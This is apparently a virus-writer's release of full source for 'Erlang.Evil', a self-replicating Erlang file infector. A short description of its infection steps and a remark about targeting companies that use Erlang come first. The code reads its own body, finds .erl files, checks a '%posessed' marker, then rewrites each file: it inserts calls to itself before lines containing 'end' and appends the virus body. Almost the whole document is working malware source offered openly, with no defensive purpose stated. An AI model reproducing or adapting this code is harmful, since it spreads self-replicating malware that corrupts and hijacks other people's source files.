The first erlang file infector. [From erlang's site] Erlang is a general-purpose programming language and runtime environment. Erlang has built-in support for concurrency, distribution and fault tolerance. Erlang is used in several large telecommunication systems from Ericsson. Erlang is available as open source from http://www.erlang.org. Who would expect a virus in this crazy language? That gives an advantage, but then we can only target specifit companies that are known to use erlang as their main development language. To test this virus, open with escript.exe The flow of the virus: ~ Read itself and extract the virus code between %start and %end ~ search home directory for .erl files ~ check if the file is infected by looking for the %posessed comment ~ call function to infect the file ~ write export info to the top of the file ~ search for the "end" command, it's less complicated. ~ inject a call to the file just before the "end" command ~ append the rest of the virus body to the victim ~ repeat And now it's time to see the code, good luck. --------------------------------------------- -export([main/1, hell/0, posess/3]). % Give up all hope, here be demons! % Language: erlang (developed in hell) % Name: Erlang.Evil % Virus: Appender dropping a call to the virus inside any place that has the "end" command. % Author: Genetix % Twitter: @kelsey_coe_ main([]) -> hell(). %start %posessed hell() -> Demon = ?FILE, {ok, Evil} = file:read_file(Demon), Sadistic = string:join(string:tokens(erlang:binary_to_list(Evil), "\n"), "\r\n"), DemonBody = string:sub_string(Sadistic, string:str(Sadistic, "%start"), string:str(Sadistic, "%"++"end"))++"end", Death = fun (Soul) -> {ok, Haunt} = file:read_file([Soul]), Ghost = string:tokens(erlang:binary_to_list(Haunt), "\n"), Posessed = string:str(string:join(Ghost, "\r\n"), "%posessed"), if Posessed > 1 -> false; true -> { posess([Soul], Ghost, DemonBody) } end end, filelib:fold_files(".", ".erl", false, fun (FileOrDirPath, Acc) -> Death (FileOrDirPath), Acc end, []). posess(File, List, Body) -> {ok, IODevice} = file:open(File, [write]), file:write(IODevice, "-export([hell/0, posess/3]).\r\n\r\n"), lists:foreach(fun(X) -> Flat = lists:flatten(string:strip([X])), Pos = string:str(Flat, "end"), if Pos > 0 -> file:write(IODevice, "hell(),\r\n"); true -> false end, file:write(IODevice, [Flat]++"\r\n") end, List), file:write(IODevice, "\r\n\r\n"++[Body]++"\r\n"), file:close(IODevice). %end